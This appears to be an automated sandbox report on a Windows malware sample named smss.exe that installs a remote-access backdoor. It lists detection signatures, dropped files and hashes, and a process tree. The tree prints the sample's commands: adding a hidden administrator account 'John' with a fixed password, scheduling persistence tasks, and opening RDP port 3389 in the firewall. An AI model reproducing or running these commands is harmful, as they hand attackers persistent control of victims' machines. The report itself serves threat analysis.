Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    26-08-2024 17:39

General

  • Target

    smss.exe

  • Size

    9.4MB

  • MD5

    6fde344165a369c3586a68317279247c

  • SHA1

    e39b5038f44757a7049c4ebabbd6f62deb280796

  • SHA256

    90f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4

  • SHA512

    880650d5db061a4aab3df0c99ed1871de4347fb6ed7305c596fa4b75ec57e9c7acecebeeef675ba864d727a898963fe397af08a5d71e7993289299764931349a

  • SSDEEP

    196608:uQmw1JCIvqD9gd1lqFxsPE41SfWj+gzjt5s9di7aH6CcvG:uQr9qFxOE41+Wj5zjLs9U7aaRvG

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Themida packer 14 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • AutoIT Executable 12 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\smss.exe
    "C:\Users\Admin\AppData\Local\Temp\smss.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:708
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2844
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2796
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2672
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:840
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\system32\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:2820
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\system32\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2608
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:2876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2916
          • C:\Windows\system32\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2304
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:1348
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1196
            • C:\Windows\system32\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1996
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:1712
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2508
              • C:\Windows\system32\net.exe
                net localgroup "Administrators" John /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2004
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup "Administrators" John /add
                  4⤵
                    PID:944
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                2⤵
                  PID:2012
                  • C:\Windows\system32\net.exe
                    net localgroup "Administradores" John /add
                    3⤵
                      PID:2192
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 localgroup "Administradores" John /add
                        4⤵
                          PID:2440
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                      2⤵
                      • Remote Service Session Hijacking: RDP Hijacking
                      PID:2036
                      • C:\Windows\system32\net.exe
                        net localgroup "Remote Desktop Users" john /add
                        3⤵
                        • Remote Service Session Hijacking: RDP Hijacking
                        PID:2284
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                          4⤵
                          • Remote Service Session Hijacking: RDP Hijacking
                          PID:1264
                    • C:\ProgramData\RDPWinst.exe
                      C:\ProgramData\RDPWinst.exe -i
                      2⤵
                      • Server Software Component: Terminal Services DLL
                      • Executes dropped EXE
                      • Modifies WinLogon
                      • Drops file in Program Files directory
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1248
                      • C:\Windows\system32\netsh.exe
                        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:1564
                    • C:\Windows\system32\cmd.exe
                      cmd /c C:\Programdata\Install\del.bat
                      2⤵
                        PID:2852
                        • C:\Windows\system32\timeout.exe
                          timeout 5
                          3⤵
                          • Delays execution with timeout.exe
                          PID:2752
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {65D5B62C-D9BD-4E58-909E-1E8AF010788E} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2188
                      • C:\ProgramData\Windows Tasks Service\winserv.exe
                        "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                        2⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:1768
                      • C:\ProgramData\Windows Tasks Service\winserv.exe
                        "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                        2⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:2348
                      • C:\ProgramData\Windows Tasks Service\winserv.exe
                        "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                        2⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:1776

                    Network

                    MITRE ATT&CK Enterprise v15

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                    Downloads

                    • C:\ProgramData\Install\del.bat

                      Filesize

                      315B

                      MD5

                      155557517f00f2afc5400ba9dc25308e

                      SHA1

                      77a53a8ae146cf1ade1c9d55bbd862cbeb6db940

                      SHA256

                      f00d027b0ed99814846378065b3da90d72d76307d37b7be46f5a480f425a764e

                      SHA512

                      40baee6e6b22c386886d89172ad7c17605166f992f2d364c68d90b9874ab6f7b85e0accc91e83b4fbd2ae702def365f23542f22f6be7ff2f7949496cc0ba8a32

                    • C:\ProgramData\RDPWinst.exe

                      Filesize

                      1.4MB

                      MD5

                      3288c284561055044c489567fd630ac2

                      SHA1

                      11ffeabbe42159e1365aa82463d8690c845ce7b7

                      SHA256

                      ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                      SHA512

                      c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                    • C:\ProgramData\Windows Tasks Service\settings.dat

                      Filesize

                      2KB

                      MD5

                      bc909d39981af556d07dc67178f61472

                      SHA1

                      a4e5b1c5bc746435a5baf11b728e83fb8e654da0

                      SHA256

                      10cf28ab39bf7ba76b91b043a007006d13d4a661fbcaad3d7820c19407b1e6a8

                      SHA512

                      acf34884a865cdabfbb9a49b948ccc74fe1e158636b23e2f728c2df6fd2fb7bda0929eeddf4bf58d90b034215dafa5e2c697050c51c2f2259ff77fa02d80f51a

                    • C:\ProgramData\Windows Tasks Service\winserv.exe

                      Filesize

                      10.2MB

                      MD5

                      3f4f5a6cb95047fea6102bd7d2226aa9

                      SHA1

                      fc09dd898b6e7ff546e4a7517a715928fbafc297

                      SHA256

                      99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                      SHA512

                      de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                    • C:\Users\Admin\AppData\Local\Temp\Cab459C.tmp

                      Filesize

                      70KB

                      MD5

                      49aebf8cbd62d92ac215b2923fb1b9f5

                      SHA1

                      1723be06719828dda65ad804298d0431f6aff976

                      SHA256

                      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                      SHA512

                      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                    • \??\PIPE\samr

                      MD5

                      d41d8cd98f00b204e9800998ecf8427e

                      SHA1

                      da39a3ee5e6b4b0d3255bfef95601890afd80709

                      SHA256

                      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                      SHA512

                      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                    • \Program Files\RDP Wrapper\rdpwrap.dll

                      Filesize

                      114KB

                      MD5

                      461ade40b800ae80a40985594e1ac236

                      SHA1

                      b3892eef846c044a2b0785d54a432b3e93a968c8

                      SHA256

                      798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                      SHA512

                      421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                    • memory/708-56-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-9-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-7-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-8-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-89-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-23-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-1-0x0000000076E80000-0x0000000076E82000-memory.dmp

                      Filesize

                      8KB

                    • memory/708-0-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-6-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-76-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-3-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-4-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-37-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-5-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/708-2-0x000000013F6C0000-0x00000001406F3000-memory.dmp

                      Filesize

                      16.2MB

                    • memory/840-26-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/840-54-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/840-75-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/840-92-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/1248-52-0x0000000000400000-0x000000000056F000-memory.dmp

                      Filesize

                      1.4MB

                    • memory/1768-32-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/1768-29-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/1776-105-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/2348-96-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/2672-25-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB

                    • memory/2672-22-0x0000000000400000-0x0000000000E31000-memory.dmp

                      Filesize

                      10.2MB